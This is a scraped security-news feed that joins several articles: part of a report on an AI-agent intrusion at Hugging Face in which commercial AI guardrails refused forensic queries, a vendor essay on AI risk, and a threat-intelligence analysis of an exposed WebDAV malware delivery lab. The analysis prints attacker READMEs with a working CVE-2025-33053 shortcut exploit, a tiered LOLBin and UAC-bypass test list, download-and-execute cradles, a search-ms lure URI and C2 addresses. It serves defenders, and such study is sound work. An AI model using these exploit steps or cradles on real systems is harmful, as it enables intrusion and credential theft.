Rotate credentials on a scheduled cadence and after any anomaly alert. Scope to the minimum cluster and service. Deploy monitoring that flags access from unexpected nodes at machine speed. Map blast radius for board reporting.

Machine-speed detection

Thousands of actions through short-lived sandboxes with self-migrating C2. AI-assisted anomaly detection surfaced the campaign after a weekend of lateral movement, per the disclosure.

Calibrate detection for machine-speed patterns. Ensure high-severity alerts page responders in minutes, regardless of time. Audit SIEM rules for detecting thousands of short-lived executions within a single hour.

Private AI forensic capacity

Commercial APIs blocked forensic analysis. Guardrails screened query content, never analyst identity. Investigation ran on GLM 5.2 privately.

Deploy a capable open-weight model on private infrastructure before an incident. Test against real forensic workflows. Ensure IR playbook includes fallback for when commercial APIs refuse. Document gap for cyber insurance.

Autonomous-agent threat modeling

The campaign matched the forecast agentic-attacker scenario, but no threat model had operationalized it. LLM powering the agent is still unknown.

Add autonomous AI agents as a distinct adversary class with machine-speed decision cycles. Run tabletop at agent speed. Present results to the board as evidence that timelines need recalibration. Include in the cyber insurance application.

The board question is operational resilience

“The question for directors is simple. What happens if one of our critical security tools becomes unavailable during the exact moment we need it most?” Baer framed that as operational resilience, not AI policy.

She would have boards take that framing straight to management and press for specifics. “Have we actually exercised that fallback during tabletop exercises? How quickly can we switch during an incident?” Procurement needs to change alongside governance, starting with the questions buyers ask. Security teams evaluating AI vendors should ask about their process for authenticated incident responders, whether enterprise customers receive different handling during verified incidents, and whether models can be deployed privately. “Those questions belong alongside uptime, privacy, and compliance,” Baer said.

“The biggest takeaway isn’t that safety guardrails are ‘bad.’ They’re doing what they were designed to do,” she argued.

Her larger point is that the threat model itself has changed. “For decades, defenders had better tools than attackers because they operated inside trusted enterprise environments. With foundation models, both sides increasingly use the same capabilities, but one side is constrained by enterprise governance, policy, compliance, and safety controls, while the adversary simply downloads an uncensored open-weight model and keeps going. That’s a new kind of asymmetry,” she added. “The organizations that handle it best won’t necessarily be the ones with the most powerful AI. They’ll be the ones that architect AI as a resilient security capability rather than a single cloud service.”

Hugging Face has contained the intrusion, rebuilt compromised nodes, rotated credentials, and reported the incident to law enforcement. The company recommends that all users rotate access tokens and review recent account activity. Mid-incident, Hugging Face found out whether its own AI tooling would be available, and the first answer was no. Security leaders running AI in production should find out in incident response planning instead, before an autonomous agent forces the test.

]]> <![CDATA[The Document Foundation says Microsoft's file formats keep users on a short leash]]> https://tsecurity.de/de/3681578/it-nachrichten/the-document-foundation-says-microsofts-file-formats-keep-users-on-a-short-leash/ https://tsecurity.de/de/3681578/it-nachrichten/the-document-foundation-says-microsofts-file-formats-keep-users-on-a-short-leash/ Mon, 20 Jul 2026 18:02:58 +0200 📰 IT Nachrichten tsecurity.de <![CDATA[Loop Engineering with Adaptive Parsing in Action: Parsing Flat Tables with Azure and Figures with a Vision LLM]]> https://tsecurity.de/de/3681473/ai-nachrichten/loop-engineering-with-adaptive-parsing-in-action-parsing-flat-tables-with-azure-and-figures-with-a-vision-llm/ https://tsecurity.de/de/3681473/ai-nachrichten/loop-engineering-with-adaptive-parsing-in-action-parsing-flat-tables-with-azure-and-figures-with-a-vision-llm/ Mon, 20 Jul 2026 17:03:41 +0200 🔧 AI Nachrichten tsecurity.de Enterprise Document Intelligence [Vol.1 #10B] - The LLM as last line of defence, then two real escalations walked end to end: a flat table to Azure, a figure to a vision model

The post Loop Engineering with Adaptive Parsing in Action: Parsing Flat Tables with Azure and Figures with a Vision LLM appeared first on Towards Data Science.

]]> <![CDATA[AI adoption and business acceleration are changing the expectations of technology risk management]]> https://tsecurity.de/de/3681443/it-security-nachrichten/ai-adoption-and-business-acceleration-are-changing-the-expectations-of-technology-risk-management/ https://tsecurity.de/de/3681443/it-security-nachrichten/ai-adoption-and-business-acceleration-are-changing-the-expectations-of-technology-risk-management/ Mon, 20 Jul 2026 16:55:00 +0200 📰 IT Security Nachrichten tsecurity.de

As AI becomes embedded in customer experiences, internal workflows, and throughout the supply chain, security leaders are being asked to do more than manage risk. They are being asked to help the business make more informed decisions and move faster.

At the same time, AI has evolved faster than the programs built to govern it.

The result is a widening gap between the pace of transformation and the ability of security, risk, privacy, compliance, and third-party risk teams to understand where the business is exposed.

Move Fast, Don’t Break Things

AI introduces risks like prompt injection and jailbreaks, but the issues keeping CISOs awake at night are more familiar: over-permissioned accounts, poor logging, credentials left in old repositories, sensitive data scattered across systems, and weak access controls. 

AI gives those risks more speed, reach, and impact. 

When AI agents are connected to enterprise data, workflows, vendors, and applications, the blast radius of existing weak spots expands quickly. A low-severity incident now becomes harder to detect, more difficult to remediate, and more consequential for the business. 

This is why boards and executive teams are looking to security leaders for proactive guidance. They want to know whether the business can adopt AI at scale without creating risk that undermines long-term value. 

“Tell us, in real time, which initiatives are safe to accelerate, where we’re exposed, what could slow down our transformation, and what we need to act on right now.”

The CISO mandate has evolved from risk reporting to innovation enablement. 

When Everything is a Risk, Nothing is a Priority

In many organizations, risk context is spread across multiple teams. Security, procurement, privacy, IT, and third-party risk each have their own view.   

That fragmentation creates blind spots. 

Consider an AI agent that can retrieve customer records, access internal knowledge bases, and trigger downstream workflows. Security may know the agent exists, IT may know where it’s deployed, and procurement may know who purchased it. 

Without a holistic view, however, it becomes difficult to determine whether the agent has the right permissions, if it is operating within policy, or how it could expose the business.

But visibility is only half the battle. As AI systems, identities, vendors, and data change at a dizzying scale, organizations need to understand whether policy is actually being followed in real time.

A control that was effective six months ago may no longer suffice after a new AI integration, a vendor update, or a change in permissions. 

Today’s systems are too dynamic to be governed by the same operating model that worked for yesterday’s tech stack. 

From Risk Review to Risk Decisioning

CISOs are now being asked to help the business decide—quickly and defensibly—what can move forward, what needs guardrails, and what should stop. Meeting that mandate requires a different approach: 

  • Treat AI risk as part of enterprise risk, not a separate discipline. AI is embedded in the same decisions organizations already make about data, vendors, identities, controls, and business processes.
  • Start with the business process and context, not the model. Understand what processes depend on this system, the data it touches, and what happens if it fails. 
  • Move from one-time approval to continuous assurance. What matters isn’t whether an AI project passed review six months ago, but whether it is operating within the organizations policies and risk appetite today.
  • Measure decision velocity. Demonstrate how quickly the organization is able to determine what moves forward, what needs guardrails, and what must stop.

When risk is connected across the business, priorities become clear. Security leaders can understand not just what needs to be addressed, but what matters most, who owns it, and what the business impact could be. 

When there is a shared understanding of approved use, teams can move faster without relying on ad hoc reviews, static questionnaires, or blanket restrictions. The goal is to make technology and third-party risk visible, prioritized, and actionable at the speed the business now operates.

That shift helps security leaders say “yes” with confidence.

Safeguard Transformation and Scale Innovation

I know the pressure many CISOs are carrying right now. Your scope is getting larger while resources continue to shrink. 

Your leadership is asking you to protect every facet of the organization, support growing risk and compliance requirements, and now, to be a key voice in guiding business strategy.  

When you have clarity on what risks truly matter and have the tools to take action, your risk program can become a driver of responsible and scalable innovation. 

OneTrust helps build risk and compliance programs aligned with the complexity and the speed of your business. Learn more about our integrated risk solutions.

]]> <![CDATA[An AI SOC Evaluation Guide for Security Leaders]]> https://tsecurity.de/de/3681383/it-security-nachrichten/an-ai-soc-evaluation-guide-for-security-leaders/ https://tsecurity.de/de/3681383/it-security-nachrichten/an-ai-soc-evaluation-guide-for-security-leaders/ Mon, 20 Jul 2026 16:24:38 +0200 📰 IT Security Nachrichten tsecurity.de <![CDATA[From a Single Alert to 1,000 Files: Inside an Exposed WebDAV Malware Delivery Lab]]> https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/ https://tsecurity.de/de/3681303/it-security-nachrichten/from-a-single-alert-to-1000-files-inside-an-exposed-webdav-malware-delivery-lab/ Mon, 20 Jul 2026 15:53:12 +0200 📰 IT Security Nachrichten tsecurity.de Executive summary

An MDR alert recently led our team to an exposed server that was doing more than hosting payloads. It was functioning as a fully operational malware delivery lab. Containing over 1,000 artifacts, the infrastructure served as a QA hub where attackers systematically tested delivery paths, social engineering lures, and WebDAV execution methods.

Our analysis reveals an interesting shift in adversary operations: attackers are adopting generative AI to move beyond individual exploits and operate like modern software product teams. By leveraging LLMs for rapid lure generation, detailed README documentation, and automated testing, they are significantly accelerating their development cycle.

This incident underscores the imperative of preemptive security. By unifying exposure management with detection and response, we did not just catch a single campaign; we gained visibility into the attacker’s entire delivery pipeline. Although the server hosted many malware samples, the more interesting find was the view into the attacker’s workflow. The exposed infrastructure showed how the operator tested delivery paths, packaged lures, staged payloads, and monitored delivery activity. All of it with the help of generative AI.

Introduction: From MDR alert to attacker infrastructure

The investigation started with an MDR alert after a user executed a file pulled from a WebDAV server using rundll32.exe. Telemetry showed the WebClient service starting, followed by davclnt.dll reaching out to a remote host to retrieve content.

That initial hit led us to dig deeper into the delivery setup, which is how we ended up finding an exposed directory. It quickly became clear to us that the server wasn't just hosting files, but also was used as an active malware testing and delivery hub. Alongside payloads, we found bulk-generated shortcut lures, URL-based execution tests, ClickFix pages, WebDAV initialization scripts, droppers, spoofed filenames, and operator notes.

At a high level, the 1,048 files clustered as follows:

Category

Files

Functions and discoveries

LNK delivery launchers

453

Bulk-generated shortcut lures using document themes, spoofed filenames, fake icons, and multiple execution paths

Filename-spoofing QA

236

Tests for Unicode, double-extension, padding, and browser/Explorer rendering behavior

URL/LOLBin execution tests

146

Experiments with signed Windows binaries, remote working directories, and WebDAV-style execution

Encrypted droppers

89

Staged second-stage payloads and installer-style packages

Alternative execution containers

24

search-ms, library-ms, .cpl, and related delivery containers

Payload stubs and spoofed executables

21

Smaller loaders, decoys, and renamed binaries

WebDAV scripts

17

Scripts intended to make WebDAV delivery more reliable on Windows systems

Builder and operator notes

10

README files, test reports, mappings, and generation scripts

ClickFix HTML lures

9

Browser-based social-engineering pages instructing users to run commands

Miscellaneous files

6

Included documentation for the actor’s WebDAV delivery/admin panel

Table 1: Breakdown of files recovered from the attacker’s delivery workspace

Technical analysis and observed attacker behavior

Attackers testing like a product team

The open directory exposed the attacker’s payloads and testing process. The collection varied by function: some folders stored payloads, while others isolated individual delivery methods, including WebDAV, UNC paths, search-ms, library-ms, Control Panel items, and trusted Windows binaries. Several directories appeared to be QA areas for testing how lures are rendered in browsers and Windows Explorer. These tests included Unicode spoofing, right-to-left override (RTLO) characters, double extensions, and padding tricks used to make executables look like documents.

The directory also contained several README files. Their structure and phrasing suggested they may have been generated with LLMs. Some folders were named testik and testik2, a Russian diminutive form of “test”.

testing-files-subfolders.png
Figure 1: Snippet of one of many subfolders containing testing files.

⠀

Looking at the artifacts from the open directory, we saw that the attacker was testing some specific CVEs.

CVE

Observed samples

Short description

CVE-2025-33053

11

Windows Internet Shortcut flaw involving external control of a file name or path, allowing code execution over a network. (nvd.nist.gov)

CVE-2026-21513

4

MSHTML Framework security feature bypass caused by protection-mechanism failure. (nvd.nist.gov)

CVE-2025-24054

1

Windows NTLM spoofing issue where crafted file/path handling can trigger outbound authentication and leak NTLM material; observed tradecraft commonly involved .library-ms files. (nvd.nist.gov)

Table 2: CVE references observed in the exposed directory.

The most developed test set focused on CVE-2025-33053, the working-directory abuse technique reported by Check Point in its analysis of Stealth Falcon activity. It appears as though the threat was trying to reproduce or adapt the reported technique with the help from README that appears to have been generated with LLMs. At a high level, the technique abuses .url shortcut behavior to launch a legitimate signed Windows binary while setting its working directory to an attacker-controlled WebDAV share. In the original reporting, the binary was iediagcmd.exe, an Internet Explorer diagnostics utility. When invoked, that utility launches several child processes by name. If the working directory points to a remote WebDAV location controlled by the attacker, Windows may resolve those child process names from the remote share instead of the expected local system directory.

The README files closely mirrored this logic. They called out iediagcmd.exe as the preferred binary, referenced the same WebDAV working-directory pattern described in the Stealth Falcon reporting, and preserved the previously reported summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr path as an example. So if you ever wonder who reads your blogs, it seems like attackers do.

CVE-2025-33053 (Stealth Falcon APT) - Test Setup
=====================================================

WHAT IS THIS?
This .url file abuses iediagcmd.exe to execute a file from WebDAV
WITHOUT any security warnings. Zero alerts!

HOW IT WORKS:
1. .url file contains URL=path to iediagcmd.exe (legitimate IE tool)
2. .url sets WorkingDirectory to WebDAV share
3. When clicked: iediagcmd.exe starts with cwd = WebDAV
4. iediagcmd internally calls: route.exe, ipconfig.exe, netsh.exe, ping.exe
5. Process.Start() searches in working directory FIRST
6. WebClient auto-starts when accessing WebDAV
7. Attacker's route.exe (renamed putty.exe) runs from WebDAV
8. NO SmartScreen, NO MoTW warnings!

REQUIREMENTS TO MAKE TEST WORK:
================================

1. iediagcmd.exe MUST exist on victim machine
   Path: C:\Program Files\Internet Explorer\iediagcmd.exe
   - Win10 (1607-22H2):        YES
   - Win11 21H2/22H2/23H2:     usually YES
   - Win11 24H2 (IE removed):  NO (this is why your F-series failed!)
   - Check on victim:
     dir "C:\Program Files\Internet Explorer\iediagcmd.exe"

2. WebDAV MUST have file named EXACTLY "route.exe"
   NOT putty.exe! iediagcmd will only execute these names:
   - route.exe
   - ipconfig.exe
   - netsh.exe
   - ping.exe
   On your WebDAV server, RENAME putty.exe to route.exe
   Place at: \\TA_C2\Downloads\route.exe

3. Microsoft patch from June 2025 MUST NOT be installed
   Check: Get-HotFix | Where-Object {$_.HotFixID -match "KB5060"}
   If patched, exploit fails.

ALTERNATIVE LOLBINS (if iediagcmd.exe missing):
================================================
F4_CustomShellHost_explorer.url - uses CustomShellHost.exe
   (mentioned in CheckPoint report - spawns explorer.exe)
F5_OfficeC2RClient_alternative.url - uses Office C2R client
   (if Office is installed)

REAL ATTACK PAYLOAD WAS:
[InternetShortcut]
URL=C:\Program Files\Internet Explorer\iediagcmd.exe
WorkingDirectory=\\summerartcamp.net@ssl@443\DavWWWRoot\OSYxaOjr
ShowCommand=7
IconIndex=13
IconFile=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
Modified=20F06BA06D07BD014D

Figure 2: Contents of README, likely generated by LLM, found in the exposed directory.
⠀

The testing approach was methodical and included the below:

Transports: WebDAV over @80 and @ssl@443

Path formats: DavWWWRoot vs. plain UNC

Fallback LOLBins: CustomShellHost.exe, OfficeC2RClient.exe, and many more for hosts where iediagcmd.exe is absent

Download cradles: bitsadmin /transfer, certutil -urlcache -split -f, mshta http(s)://…

Shortcut launchers: PowerShell IEX (New-Object Net.WebClient).DownloadString(...), hidden/minimized windows

Explorer containers: search-ms: queries and .library-ms files exposing remote payloads

ClickFix pages: relying on user copy/paste execution

Filename spoofing: RTLO (U+202E), double extensions, and whitespace padding before .exe / .scr

The lure factory

The lure themes were broad and familiar: invoices, privacy policies, contracts, signed documents, finance reports, Labcorp-themed reports, salary statements, and notification policies.

Judging by the lure themes, we concluded that the attacker is targeting enterprise Windows users who are likely to open routine documents.

The threat actor also invested heavily in making files look “safe”. Many lure names mimicked PDFs or office documents. Others used fake icons associated with common software. Some attempted to hide arguments or launch windows minimized. Clearly, the goal was to make malicious execution feel like ordinary document handling.

The directory also contained ClickFix HTML lures. These pages mimicked familiar services, application errors, and document-access workflows to convince users to copy and run a command. The lures were disguised as Cloudflare verification checks, Adobe or Word document errors, Microsoft login pages, Chrome update messages, and Discord-themed notices. Filenames such as Fix_Connection_Error.html, Update_Required.html, Secure_Document_Access.html, Verification_Failed.html, and Open_Document_Instructions.html show how the actor repackaged the same execution pattern under different social-engineering themes.

The commands typically launched PowerShell to fetch remote content, used cmd.exe to open payloads from WebDAV or UNC paths, or used utilities like rundll32 and mshta to proxy execution. Many referenced attacker-controlled paths, temporary directories, hidden windows, or encoded arguments to reduce visibility.

The payload chains 

The exposed directory contained many payloads, but we did not reverse every binary in the collection. We initially started with reverse engineering, but after analyzing several chains, we found repeated packaging patterns and suspected that some staged files may have led to the same or closely related final payloads.

We therefore shifted from exhaustive reverse engineering to triage. We reviewed several files, including DlrtyGames, CursorSetup, ReportFinal.rsc.pdf, ReportFina.exe and pdfgear_setup_v2.1.16.exe, and prioritized payloads that either represented distinct delivery approaches or were tied to observed campaign activity.

Our main focus became the most commonly delivered file in the most recent CURP campaign, based on artifacts we found in cPanel. This gave us the clearest link between the exposed delivery infrastructure and active campaign activity. 

This scope is intentional. This post is about the attacker’s delivery workflow, not a full reverse-engineering report for every sample in the directory. We use the payload analysis to show how the operator packaged lures, staged loaders, tested execution methods, and moved from delivery to final payload execution.

Case study 1: CURP campaign targeting Mexico

Our MDR alert began with a user who landed on the phishing site www[.]gobf[.]mx, a typosquat impersonating the Mexican government's CURP (Clave Única de Registro de Población) national-ID lookup service at https://www.gob.mx/curp/. The phishing site presented a convincing single-page application that asked victims to enter CURP identity data and retrieve an official record.

Phishing-page-impersonating-Mexico’s-CURP-lookup-service.png
Figure 3: Phishing page impersonating Mexico’s CURP lookup service, with browser developer tools showing the embedded WebDAV delivery logic.

⠀

The site’s client-side JavaScript handled the fake ID lookup flow and then triggered payload delivery when the victim clicked the download button. Instead of downloading a PDF directly, the script invoked a search-ms: URI that opened the operator’s remote WebDAV share as a Windows Explorer search view filtered to .scr files:

search-ms:displayname=Search Results in \\onedrive.cv@80\Downloads\CURP
         &query=*.scr
         &crumb=location:\\onedrive.cv@80\Downloads\CURP

⠀
It's worth mentioning that the malicious Javascript with russian comments appears to be also generated with the help of GenAI. As you can see in the screenshot above it contains emojis and comments which are very typical for the LLM models.

The exposed Simba Service panel tied this phishing flow back to the attacker’s delivery infrastructure. The CURP folder was the most-accessed campaign folder, with 2,384 recorded interactions. The same count appeared for ReportFinal.rcs.pdf, making it the clearest link between the phishing site, the WebDAV delivery path, and active campaign activity.

Simba-Service-WebDAV-dashboard-CURP.png
Figure 4: Simba Service WebDAV dashboard showing the exposed delivery workspace, with the CURP folder recorded as the most-accessed campaign folder at 2,384 interactions.

⠀

Although ReportFinal.rcs.pdf appeared to be a PDF, it was actually a right-to-left override (RTLO) masqueraded .scr executable built with a Delphi/Inno Setup installer. Once executed, it extracted and launched the Fo-Binary.exe loader, initiating the multi-stage infection chain.

Execution-chain-PDF-lure.jpg
Figure 5: Execution chain for the ReportFinal.rcs.pdf lure, from RTLO-masqueraded .scr file to in-memory stealer execution and C2 exfiltration.

⠀

The final payload was an unknown .NET information stealer, operated entirely fileless-ly to evade disk-based detection. The execution sequence followed as such:

  • Decryption: The Fcqleh loader decrypted the embedded payload using AES and GZip.

  • Reflective Loading: The loader mapped the payload directly into memory using the Assembly.Load(byte[]) API.

  • Process Injection: The malicious code was executed inside a legitimate, EV-signed Qihoo 360 process via process hollowing, allowing the malicious code to run under a trusted signed process image.

The decrypted in-memory configuration exposed the payload’s feature set and version 4.4.3. It also contained the build tag 06x12x2026SantaEbash2, which matched toolkit timestamps from June 12, 2026.

Once running, the stealer targeted cryptocurrency assets, browser data, messaging sessions, and local application data. Its collection logic included around 20 desktop wallet clients and browser wallet extensions, saved browser usernames, passwords, cookies, session tokens, the Telegram tdata session database, Foxmail data, and a screenshot of the victim’s desktop.

The payload also included anti-analysis checks. The payload checked for the COR_PROFILER environment variable and called IsDebuggerPresent. If the malware detected that it was being monitored or debugged, it immediately called FailFast to kill the process. The stealer also delayed decrypting its watchlist and collection configuration until after a successful C2 handshake, preventing its full functionality from being revealed in isolated sandboxes. 

Collected data was exfiltrated to 77[.]110.127.205 (alias google.services.ug, certificate CN=Eglgyqnoa) over SslStream (TLS without SNI) and raw Socket.The stolen data was sent as a multipart HTTP POST request to /c2.

Based on the analyzed behavior, the payload functioned as an information stealer focused on credential, wallet, and session theft.

Case study 2: The "DlrtyGames" sideloading chain

While the ReportFinal lure used an Inno Setup installer to launch a fileless stealer, a second campaign directory on the server, DlrtyGames, showed a different delivery architecture. This chain was built to deploy a modular RAT through DLL sideloading, IDAT, process hollowing, and persistence.

The DlrtyGames chain began with a silent 7-Zip SFX dropper, DlrtyGames.exe. It extracted a benign, signed Ubisoft binary, Volt_Droid.exe, into the victim’s temporary directory alongside a trojanized dependency, discord-rpc.x64.dll.

DlrtyGames-execution-chain.jpg
Figure 6: DlrtyGames execution chain showing the flow from 7-Zip SFX dropper to DLL sideloading, IDAT-based payload loading, process hollowing, and .NET RAT execution.

⠀

Volt_Droid.exe used DLL sideloading to load discord-rpc.x64.dll. This decoded its configuration, resolved APIs by hash, and manually mapped profiler16.dll. The mapped profiler16.dll stage then read loader-pool.db, a PNG file whose encrypted modules were stored across IDAT chunks. After a 45-second sleep delay, it reassembled and decrypted the embedded content, set up persistence, performed COM auto-elevation through dllhost.exe, and prepared the final hollowing stage.

The final injection stage was handled by an x86 PIC shellcode blob carved from loader-pool.db at offset 0xb516a. That shellcode created signed host processes such as MegArray.exe or Crisp.exe in a suspended state, unmapped their original image, wrote the payload into the process, updated thread context, and resumed execution. The result was a modular .NET RAT running inside a signed host process.

The DlrtyGames payload was a modular RAT with plugins for keylogging, screenshots, window monitoring, and C2 communication. Its keylogger module used plaintext keyword triggers for payment, banking, credit, and cryptocurrency activity, including relaypayments.com, plaid, fiservapps, payoneer, google pay, coinbase, Zelle, paypal, link.com, amazonrelay, Exodus, Electrum, Bitcoin, monero, Seed Phrase, Seed, 12, FCU, Credit Union, Account Overview, Available Balance, Merchant, online access, debit, credit, cvv, card, settlement, fees, loans, bank, banking, finance, and invest. 

The RAT also targeted browser wallet-extension artifacts and Chrome user data, including cookies and saved login data.

The two chains used different payloads and C2 infrastructure. In case study one, the stealer exfiltrated to 77[.]110[.]127[.]205:56003, while in the case study two stealer chain communicated with 23[.]94[.]252[.]228:57666. Based on our observations, the final RAT payload in both chains was identified as .NET-based PureRAT.

GenAI adoption

Several artifacts make it clear the attacker certainly used LLMs to build and iterate this operation. The directory is packed with structured README files, neatly formatted lure-generation guides, detailed test writeups, and matrix-style outputs that look exactly like templated or generated content. 

═══════════════════════════════════════════════════════════════════
  WORKING DIRECTORY HIJACKING — COMPREHENSIVE TEST KIT
  for Windows 11 24H2
═══════════════════════════════════════════════════════════════════

This kit contains 59 .url files targeting different Windows binaries
that POTENTIALLY have the same Working Directory hijacking issue as
CVE-2025-33053 (Stealth Falcon, iediagcmd.exe).

ALL .url files use this exact format (same as the real APT attack):
  [InternetShortcut]
  URL=C:\path\to\target.exe         <- legitimate binary
  WorkingDirectory=\\[REDACTED]@80\Downloads   <- WebDAV (triggers WebClient!)
  ShowCommand=7                     <- start minimized (hide alert windows)
  IconIndex=13                      <- (decoy icon)
  IconFile=msedge.exe               <- (decoy icon)

═══════════════════════════════════════════════════════════════════
HOW TO TEST (5 minutes)
═══════════════════════════════════════════════════════════════════

STEP 1: Upload ALL files from WEBDAV_PAYLOADS/ folder to:
        \\[REDACTED]\Downloads\
        (59 test files - each is 5KB MessageBox popup exe)

STEP 2: Copy I_LOLBIN_URLS/ folder to your Win11 24H2 machine

STEP 3: Double-click .url files one by one (or all of them in sequence)
        - If popup appears -> HIJACK WORKS! Read parent process name in popup.
        - If nothing happens / error -> doesn't work, move to next.

STEP 4: Tell me which I-numbers showed a popup. I'll integrate working
        ones as new methods in web-renamer.

═══════════════════════════════════════════════════════════════════
PRIORITY TESTING ORDER (most likely to work first)
═══════════════════════════════════════════════════════════════════

TIER 1 - CONFIRMED IN THE WILD:
  I01_iediagcmd.url           - CVE-2025-33053 (needs pre-June 2025 patch)
  I02_CustomShellHost.url     - CheckPoint research (may not exist on Server)

TIER 2 - .NET FRAMEWORK TOOLS (always installed if .NET 4.x present):
  I03_InstallUtil.url         - InstallUtilLib.dll search
  I04_RegAsm.url              - .NET registration
  I05_RegSvcs.url             - .NET services
  I06_CasPol.url              - .NET security policy
  I07_ngentask.url            - NGen native compile (calls ngen.exe!)
  I08_AddInUtil.url           - AddIn util (calls AddInProcess.exe!)
  I10_dfsvc.url               - ClickOnce service
  I15_csc.url                 - C# compiler (may call link.exe)
  I16_vbc.url                 - VB compiler

TIER 3 - WIN11 SYSTEM .NET TOOLS:
  I17_LbfoAdmin.url           - NIC teaming admin
  I19_UevAgentPolicyGenerator.url - UE-V agent (calls .ps1 files!)
  I20_UevAppMonitor.url       - UE-V monitor
  I23_AppVStreamingUX.url     - App-V streaming UI

TIER 4 - LOLBAS Execute-EXE binaries:
  I26_Pcwrun.url              - LOLBAS Execute(EXE)
  I28_WorkFolders.url         - LOLBAS Execute(EXE,Rename)
  I33_stordiag.url            - LOLBAS Execute(EXE) - calls systeminfo etc
  I36_Provlaunch.url          - LOLBAS Execute(CMD) - calls provtool.exe!

TIER 5 - UAC bypass binaries (worth testing):
  I49_fodhelper.url, I50_computerdefaults.url, I52_wsreset.url

═══════════════════════════════════════════════════════════════════
THE THEORY (so you understand WHY this works for some and not others)
═══════════════════════════════════════════════════════════════════

For the attack to succeed, the LOLBin must:
  1. Be a .NET application, OR call ShellExecute/CreateProcess with bare
     name (no full path).
  2. Spawn a child process by NAME (e.g. "ipconfig.exe") not by full path
     (e.g. "C:\Windows\System32\ipconfig.exe").
  3. Be runnable without command-line args.

If ANY of these is false, the hijack fails. Microsoft has been patching
specific binaries (iediagcmd.exe in June 2025) but the general pattern
remains. New vulnerable binaries are discovered regularly.

═══════════════════════════════════════════════════════════════════
WHAT THE POPUP TELLS YOU
═══════════════════════════════════════════════════════════════════

When hijack works, you'll see:
  TEST OK - Working Directory Hijack SUCCESS

  Executed as: route.exe                              <- which name was hijacked
  Full path: \\[REDACTED]@80\Downloads\route.exe    <- ran from WebDAV!
  Working dir: \\[REDACTED]@80\Downloads
  Parent process: iediagcmd                           <- which LOLBin spawned it

═══════════════════════════════════════════════════════════════════
NOTES
═══════════════════════════════════════════════════════════════════

* Some I-files may target binaries that DON'T EXIST on your Win11 24H2
  (e.g. I02_CustomShellHost was missing on my test Server 2025).
  These will silently fail - just move on.

* Some I-files may launch the GUI tool (msconfig, dxdiag, etc.) WITHOUT
  triggering any hijack. That's fine - if no popup appears, no hijack.

* See _MAPPING.csv for full mapping of each .url to its target binary
  and expected child process names.

Figure 7: Context of README.md found in the exposed directory.

The attacker left a build-time artifact inside the generate_test_lnk.ps1 output. The output directory is hardcoded in the $outDir variable and exposes part of the attacker’s local project tree:

Hardcoded-$outDir-path.png
Figure 8: Hardcoded $outDir path exposing the attacker’s local project tree.

⠀
It is therefore apparent that the entire campaign was likely created using the CodeRRR project with the help of LLM to assist with code generation and campaign development.

Another file we found in the directory was Simba_Service_Presentation.htm, which appeared to document an attacker-controlled WebDAV delivery/admin panel. The panel also seems to have been generated with LLM assistance, based on its presentation-style formatting, API-documentation structure, emojis, and implementation details.

Simba-server-screenshot-panel.png
Figure 9: Screenshot from the panel with an open presentation about Simba service, showing its architecture.

⠀

Simba-server-system-requirements.png
Figure 10: Simba service system requirements.

⠀

The most telling artifact was a “comprehensive test kit” that expanded the single CVE-2025-33053 technique into 59 .url files targeting different Windows binaries, such as .NET tools (InstallUtil, RegAsm, RegSvcs, ngentask), system utilities, LOLBAS execute-EXE binaries, and even UAC-bypass candidates. Each file was paired with a stated theory of why the working-directory hijack should work and a priority order for testing.

The directory was saturated with structured README files, neatly formatted lure-generation guides, matrix-style test write-ups, emoji-heavy admin-panel documentation, and a _MAPPING.csv tying each test file to its target binary and expected child process. The consistency, verbosity, and sheer volume of organized artifacts led us to conclude that the attacker likely used an LLM-assisted workflow to do much of the heavy lifting around documentation, structure, and iteration.

# LNK Full Matrix Test — WebDAV Open Methods + Deception Techniques

**Location:** `C:\Users\Administrator\Desktop\LNK-Full-Matrix-Test`  
**Total files:** 60  
**Generated:** 2026-05-30

---

## Overview / Обзор

This folder contains a complete test matrix of **60 LNK shortcut files** combining all available WebDAV open methods with all LNK Deception Techniques supported by the Web-renamer project.

В этой папке находится полная тестовая матрица из **60 LNK-ярлыков**, объединяющих все доступные WebDAV-методы открытия со всеми техниками обмана LNK, поддерживаемыми проектом Web-renamer.

---

## Naming Scheme / Схема именования

All files follow the pattern:  
Все файлы следуют шаблону:

```
HyperPackSetup.<method>.<trick>.<spoof>.lnk
```

- **`HyperPackSetup`** — base filename / базовое имя файла
- **`<method>`** — WebDAV open method (e.g. `curl-http-temp-run`, `direct`, `cmd-start`) / метод открытия WebDAV
- **`<trick>`** — LNK deception technique (`standard`, `SPOOFEXE_HIDEARGS_DISABLETARGET`, etc.) / техника обмана LNK
- **`<spoof>`** — RTLO + homoglyph extension spoof (`‮ƒｄᴘ`) — visually appears as `.pdf` / спуф расширения через RTLO + гомоглифы — визуально выглядит как `.pdf`
- **`.lnk`** — real extension / реальное расширение

> The spoof is applied **only to the extension** at the end, so the method and trick names remain clearly readable.  
> Спуф применяется **только к расширению** в конце имени, поэтому названия методов и техник остаются читаемыми.
...

Figure 11: This is a snippet from another README.md. The full README is available on Rapid7 Labs' Github. The text is original, and the translation to Russian was not added by us.

OPSEC is hard 

As we mentioned previously, one of the artifacts we found in the open directory was a presentation file documenting a WebDAV delivery/admin panel called “Simba Service.”

simba-service-presentation.png
Figure 12: Simba service presentation.

⠀

The panel was built to manage a read-only WebDAV file share and track delivery activity in real time, including file opens, visitor IPs, geolocation, Windows versions, traffic, errors, folder-level conversion, and access events.

The actor not only used the same server for testing and staging files, but also recklessly left behind internal documentation for the backend used to manage and track delivery. The presentation reads like an internal build document, walking through the architecture, tech stack, API endpoints, authentication, logging, analytics, bug fixes, deployment setup, and panel access flow. It also included the panel IP and port, along with credentials.

Additionally, the file also looked like it was generated with an LLM. Its structured project overview, emoji-heavy sections, API-documentation format, and implementation details stood out. Basically, in some subfolders you can find LLM-generated READMEs with lures and malicious executables, while in another subfolder there is an admin panel with a hardcoded IP, port, and credentials.

We are intentionally withholding live access details, credentials, IP addresses, ports, and panel locations.

Delivery panel overview

The attacker appeared to have deployed the panel as-is, without changing the default password or port. The panel included several operator-facing sections: Review, Folders, Files, Visitors, Geography, Traffic/Server, Notes, File Manager, Users, Link Builder, Safety, and Documentation.

simba-service-page-with-blocking-capabilities_.png
Figure 13: Simba service page with blocking capabilities.

⠀

